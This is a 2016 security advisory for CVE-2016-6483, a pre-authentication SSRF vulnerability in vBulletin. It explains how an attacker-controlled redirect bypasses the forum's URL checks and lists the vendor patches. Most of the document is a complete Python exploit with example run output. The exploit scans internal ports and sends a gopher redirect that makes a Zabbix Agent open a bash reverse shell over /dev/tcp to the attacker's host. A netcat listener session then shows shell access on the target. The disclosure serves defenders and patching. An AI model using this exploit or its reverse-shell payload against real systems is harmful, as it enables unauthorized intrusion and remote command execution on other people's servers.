=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-6483 
- Release date: 05.08.2016
- Severity: High
=============================================


I. VULNERABILITY
-------------------------

vBulletin  <= 5.2.2      Preauth Server Side Request Forgery (SSRF) 
vBulletin  <= 4.2.3
vBulletin  <= 3.8.9


II. BACKGROUND
-------------------------

vBulletin (vB) is a proprietary Internet forum software package developed by 
vBulletin Solutions, Inc., a division of Internet Brands. 

https://www.vbulletin.com/
https://en.wikipedia.org/wiki/VBulletin


A google search for "Powered by vBulletin" returns over 19 million sites
that are hosting a vBulletin forum:

https://www.google.co.uk/?gws_rd=ssl#q=%22Powered+by+vBulletin%22


III. INTRODUCTION
-------------------------

vBulletin forum software is affected by a SSRF vulnerability that allows 
unauthenticated remote attackers to access internal services (such as mail 
servers, memcached, couchDB, zabbix etc.) running on the server hosting 
vBulletin as well as services on other servers on the local network that are 
accessible from the target.

This advisory provides a PoC exploit that demonstrates how an unauthenticated
attacker could perform a port scan of the internal services as well as execute
arbitrary system commands on a target vBulletin host with a locally installed 
Zabbix Agent monitoring service.

IV. DESCRIPTION
-------------------------

vBulletin allows forum users to share media fiels by uploading them to the 
remote server. Some pages allow users to specify a URL to a media file
that a user wants to share which will then be retrieved by vBulletin. 
The user-provided links are validated to make sure that users can only access
resources from HTTP/HTTPS protocols and that connections are not allowed in to 
the localhost.

These restrictions can be found in core/vb/vurl/curl.php source file:

/**
 *      Determine if the url is safe to load
 *
 *      @param $urlinfo -- The parsed url info from vB_String::parseUrl -- scheme, port, host
 *      @return boolean
 */
private function validateUrl($urlinfo)
{
  // VBV-11823, only allow http/https schemes
  if (!isset($urlinfo['scheme']) OR !in_array(strtolower($urlinfo['scheme']), array('http', 'https')))
  {
    return false;
  }

  // VBV-11823, do not allow localhost and 127.0.0.0/8 range by default
  if (!isset($urlinfo['host']) OR preg_match('#localhost|127\.(\d)+\.(\d)+\.(\d)+#i', $urlinfo['host']))
  {
    return false;
  }

  if (empty($urlinfo['port']))
  {
    if ($urlinfo['scheme'] == 'https')
    {
      $urlinfo['port'] = 443;
    }
    else
    {
      $urlinfo['port'] = 80;
    }
  }
       // VBV-11823, restrict detination ports to 80 and 443 by default
  // allow the admin to override the allowed ports in config.php (in case they have a proxy server they need to go to).
  $config = vB::getConfig();
[...]


HTTP redirects are also prohibited however there is one place in the vBulletin
codebase that accepts redirects from the target server specified in a 
user-provided link.
The code is used to upload media files within a logged-in user's profile and 
can normally be accessed under a path similar to:

http://forum/vBulletin522/member/1-mike/media

By specifying a link to a malicious server that returns a 301 HTTP redirect to 
the URL of http://localhost:3306 for example, an attacker could easily 
bypass the restrictions presented above and make a connection to mysql/3306 
service listening on the localhost.

This introduces a Server Side Request Forgery (SSRF) vulnerability.

As curl is used to fetch remote resources, in addition to HTTP, attackers could 
specify a handful of other protocols to interact with local services. 
For instance, by sending a redirect to  gopher://localhost:11211/datahere
attackers could send arbitrary traffic to memcached service on 11211 port.

Additionally, depending on the temporary directory location configured within
the forum, attackers could potentially view the service responses as the 
download function stores responses within temporary files which could be 
viewed if the temporary directory is exposed on the web server.


V. PROOF OF CONCEPT EXPLOIT
-------------------------

The exploit code below performs a port scan as well as demonstrates remote 
command execution via a popular Zabbix Agent monitoring service which might be
listening on local port of 10050.
The exploit will execute a reverse bash shell on the target if it has the agent 
installed and permits remote commands.

The exploit was verified on the following zabbix agent configuration 
(/etc/zabbix/zabbix_agentd.conf):

Server=127.0.0.1,::1
EnableRemoteCommands=1


------------[ vBulletin_SSRF_exploit.py ]-----------

#!/usr/bin/python

intro = """
vBulletin <= 5.2.2 SSRF PoC Exploit (portscan / zabbix agent RCE)

This PoC exploits an SSRF vulnerability in vBulletin to scan internal services
installed on the web server that is hosting the vBulletin forum.

After the scan, the exploit also checks for a Zabbix Agent (10050) port and
gives an option to execute a reverse shell (Remote Commands) that will connect
back to the attacker's host on port 8080 by default. 

Coded by:

 Dawid Golunski
 http://legalhackers.com
"""
usage = """
Usage:
The exploit requires that you have an external IP and can start a listener on port 80/443
on the attacking machine.

./vBulletin_SSRF_exploit.py our_external_IP vBulletin_base_url [minimum_port] [maximum_port]

Example invocation that starts listener on 192.168.1.40 (port 80) and scans local ports 1-85
on the remote vBulletin target host:

./vBulletin_SSRF_exploit.py 192.168.1.40 http://vbulletin-target/forum 1 85

Before exploiting Zabbix Agent, start your netcat listener on 8080 port in a separate shell e.g:

nc -vv -l -p 8080

Disclaimer:
For testing purposes only. Do no harm.

SSL/TLS support needs some tuning. For better results, provide HTTP URL to the vBulletin target.
"""

import web # http://webpy.org/installation
import threading
import time
import urllib
import urllib2
import socket
import ssl
import sys


# The listener that will send redirects to the targe
class RedirectServer(threading.Thread):
    def run (self):
        urls = ('/([0-9a-z_]+)', 'do_local_redir')
        app = web.application(urls, globals())
        #app.run()
  return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', our_port))

class do_local_redir:
    def GET(self,whereto):
  if whereto == "zabbixcmd_redir":
    # code exec
    # redirect to gopher://localhost:10050/1system.run[(/bin/bash -c 'nohup bash -i >/dev/tcp/our_ip/shell_port 0<&1 2>&1 &')  ; sleep 2s]
    return web.HTTPError('301', {'Location': 'gopher://localhost:10050/1system.run%5b(%2Fbin%2Fbash%20-c%20%27nohup%20bash%20-i%20%3E%2Fdev%2Ftcp%2F'+our_ext_ip+'%2F'+str(shell_port)+'%200%3C%261%202%3E%261%20%26%27) %20%3B%20sleep%202s%5d' } )
  else:
    # internal port connection
    return web.HTTPError('301', {'Location': "telnet://localhost:%s/" % whereto} )

def shutdown(code):
  print "\nJob done. Exiting"
  if redirector_started == 1:
    web.httpserver.server.interrupt = KeyboardInterrupt()
  exit(code)


# [ Default settings ]

# reverse shell will connect back to port defined below
shell_port = 8080
# Our HTTP redirector/server port (must be 80 or 443 for vBulletin to accept it)
our_port = 443
# How long to wait (seconds) before considering a port to be opened. 
# Don't set it too high to avoid service timeout and an incorrect close state
connect_time = 2
# Default port scan range is limited to 20-90 to speed up things when testing,
# feel free to increase maxport to 65535 here or on the command line if you've
# got the time ;)
minport = 20
maxport = 90
# ignore invalid certs (enable if target forum is HTTPS)
#ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)


# [ Main Meat ]

print intro
redirector_started = 0

if len(sys.argv) < 3 :
   print usage
   sys.exit(2)

# Set our HTTP Listener/Redirector's external IP
our_ext_ip = sys.argv[1]
try:
    socket.inet_aton(our_ext_ip)
except socket.error:
    print "Invalid HTTP redirector server IP [%s]!\n" % our_ext_ip
    exit(2)

our_server = "http://%s:%s" % (our_ext_ip, our_port)

# Target forum base URL (e.g. http://vulnerable-vbulletin/forum)
targetforum = sys.argv[2]
# Append vulnerable media upload script path to the base URL
targeturl =  targetforum.strip('/') + "/link/getlinkdata"

# Change port range (if provided)
if (len(sys.argv) == 5) :
  minport = int(sys.argv[3])
# Finish scanning at maxport
  maxport = int(sys.argv[4])


# Confirm data
print "\n* Confirm your settings\n"
print "Redirect server to listen on: %s:%s\nTarget vBulletin URL: %s\nScan ports between: %d - %d\n" % (our_ext_ip, our_port, targeturl, minport, maxport)
key = raw_input("Are these settings correct? Hit enter to start the port scan... ")

# Connection check
print "\n* Testing connection to vulnerable script at [%s]\n" % targeturl
req = urllib2.Request(targeturl, data=' ', headers={ 'User-Agent': 'Mozilla/5.0' } )
try:
  response = urllib2.urlopen(req, timeout=connect_time).read()
except urllib2.URLError as e:
        print "Invalid forum URI / HTTP request failed (reason: %s)\n" % e.reason
  shutdown(2)

# Server should return 'invalid_url' string if not url provided in POST
if "invalid_url" not in response:
  print """Invalid target url (%s) or restricted access.\n
              \nTest with:\n curl -X POST -v %s\nShutting down\n""" % (targeturl, targeturl)
  sys.exit(2)
else:
  print "Got the right response from the URL. The target looks vulnerable!\n" 

# [ Start the listener and perform a port scan ]
print "Let's begin!\n"
print "* Starting our redirect base server on %s:%s \n" % (our_ext_ip, our_port)
RedirectServer().start()
redirector_started = 1

print "* Scanning local ports from %d to %d on [%s] target \n" % (minport, maxport, targetforum)
start = time.time()
opened_ports = []
maxport+=1

for targetport in range(minport, maxport):
        #print "\n\nScanning port %d\n" % (targetport)
  fetchurl =  '%s/%d' % (our_server, targetport)
  data = urllib.urlencode({'url' : fetchurl})
  req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } )
  try:
      response = urllib2.urlopen(req,  timeout=connect_time)
  except urllib2.URLError, e:
      print "Oops, url issue? 403 , 404 etc.\n"
  except socket.timeout, ssl.SSLError:
      print "Conection opened for %d seconds. Port %d is opened!\n" % (connect_time, targetport)
      opened_ports.append(targetport)

elapsed = (time.time() - start)
print "\nScanning done in %d seconds. \n\n* Opened ports on the target [%s]: \n" % (elapsed, targetforum)
for listening in opened_ports:
  print "Port %d : Opened\n" % listening
print "\nAnything juicy? :)\n"

if 10050 in opened_ports:
  print "* Zabbix Agent was found on port 10050 !\n"

# [ Command execution via Zabbix Agent to gain a reverse shell ]
key = raw_input("Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] ")
if key != 'y' :
  shutdown(0)

print "\n* Executing reverse shell via Zabbix Agent (10050)."
fetchurl =  '%s/%s' % (our_server, 'zabbixcmd_redir')
data = urllib.urlencode({'url' : fetchurl})
req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } )
payload_executed = 0
try:
    response = urllib2.urlopen(req,  timeout=connect_time)
except urllib2.URLError, e:
    print "Oops, url issue? 403 , 404 etc.\n"
except socket.timeout, ssl.SSLError:
    # Agent connection remained opened for 2 seconds after the bash payload was sent, 
    # it looks like the sleep 2s shell command must have got executed sucessfuly
    payload_executed = 1

if (payload_executed == 1) :
        print "\nLooks like Zabbix Agent executed our bash payload! Check your netcat listening on port %d for shell! :)\n" % shell_port
else:
        print "\nNo luck. No Zabbix Agent listening on 10050 port or remote commands are disabled :(\n"

shutdown(0)


----------------------[ eof ]------------------------


Example run:

root@trusty:~/vbexploit# ./vBulletin_SSRF_exploit.py 192.168.57.10 http://192.168.57.10/vBulletin522new/ 20 85

vBulletin <= 5.2.2 SSRF PoC Exploit (Localhost Portscan / Zabbix Agent RCE)

This PoC exploits an SSRF vulnerability in vBulletin to scan internal services
installed on the web server that is hosting the vBulletin forum.

After the scan, the exploit also checks for a Zabbix Agent (10050) port and
gives an option to execute a reverse shell (Remote Commands) that will connect
back to the attacker's host on port 8080 by default. 

Coded by:

 Dawid Golunski
 http://legalhackers.com


* Confirm your settings

Redirect server to listen on: 192.168.57.10:443
Target vBulletin URL: http://192.168.57.10/vBulletin522new/link/getlinkdata
Scan ports between: 20 - 85

Are these settings correct? Hit enter to start the port scan... 

* Testing connection to vulnerable script at [http://192.168.57.10/vBulletin522new/link/getlinkdata]

Got the right response from the URL. The target looks vulnerable!

Let's begin!

* Starting our redirect base server on 192.168.57.10:443 

* Scanning local ports from 20 to 85 on [http://192.168.57.10/vBulletin522new/] target 

http://0.0.0.0:443/
192.168.57.10:58675 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /20" - 301
192.168.57.10:58679 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /21" - 301
192.168.57.10:58683 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /22" - 301
Conection opened for 2 seconds. Port 22 is opened!

192.168.57.10:58686 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /23" - 301
192.168.57.10:58690 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /24" - 301
192.168.57.10:58694 - - [30/Jul/2016 03:00:28] "HTTP/1.1 GET /25" - 301
Conection opened for 2 seconds. Port 25 is opened!

192.168.57.10:58697 - - [30/Jul/2016 03:00:30] "HTTP/1.1 GET /26" - 301
[...]
192.168.57.10:58909 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /79" - 301
192.168.57.10:58913 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /80" - 301
Conection opened for 2 seconds. Port 80 is opened!

192.168.57.10:58917 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /81" - 301
192.168.57.10:58921 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /82" - 301
192.168.57.10:58925 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /83" - 301
192.168.57.10:58929 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /84" - 301
192.168.57.10:58933 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /85" - 301

Scanning done in 14 seconds. 

* Opened ports on the target [http://192.168.57.10/vBulletin522new/]: 

Port 22 : Opened

Port 25 : Opened

Port 80 : Opened


Anything juicy? :)

Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] y

* Executing reverse shell via Zabbix Agent (10050).
192.168.57.10:58940 - - [30/Jul/2016 03:00:45] "HTTP/1.1 GET /zabbixcmd_redir" - 301

Looks like Zabbix Agent executed our bash payload! Check your netcat listening on port 8080 for shell! :)


Job done. Exiting


Here is how the netcat session looks like after a sucessful exploitation:

$ nc -vvv -l -p 8080
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [192.168.57.10] port 8080 [tcp/*] accepted (family 2, sport 54259)

zabbix@trusty:/$ id
id
uid=122(zabbix) gid=129(zabbix) groups=129(zabbix)
zabbix@trusty:/$ 



As we can see reverse shell was executed on the target which sucessfully
connected back to the attacker's netcat listener.

VI. BUSINESS IMPACT
-------------------------

The vulnerability can expose internal services running on the server/within 
the local network. 
If not patched, unauthenticated attackers or automated scanners searching for
vulnerable servers could send malicious data to internal services.
Depending on services in use, the impact could range from sensitive information
disclosure, sending spam, DoS/data loss to code execution as demonstrated by 
the PoC exploit in this advisory.

 
VII. SYSTEMS AFFECTED
-------------------------

All vBulletin forums in all branches (5.x, 4.x , 3.x) without the latest patches
named in the next section are affected by this vulnerability. 

 
VIII. SOLUTION
-------------------------

Upon this advisory, vendor has published the following security releases of
vBulletin for each of the affected branches:


 vBulletin 5.2.3

 vBulletin 4.2.4 Beta

 vBulletin 3.8.10 Beta


Separate patches have also been released (see references below).
 
IX. REFERENCES
-------------------------

http://legalhackers.com

http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6483 

vBulletin patches:

http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349551-security-patch-vbulletin-5-2-0-5-2-1-5-2-2

http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349549-security-patch-vbulletin-4-2-2-4-2-3-4-2-4-beta

http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349548-security-patch-vbulletin-3-8-7-3-8-8-3-8-9-3-8-10-beta

X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski

dawid (at) legalhackers (dot) com
http://legalhackers.com
 
XI. REVISION HISTORY
-------------------------

05.08.2016 - final advisory released
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.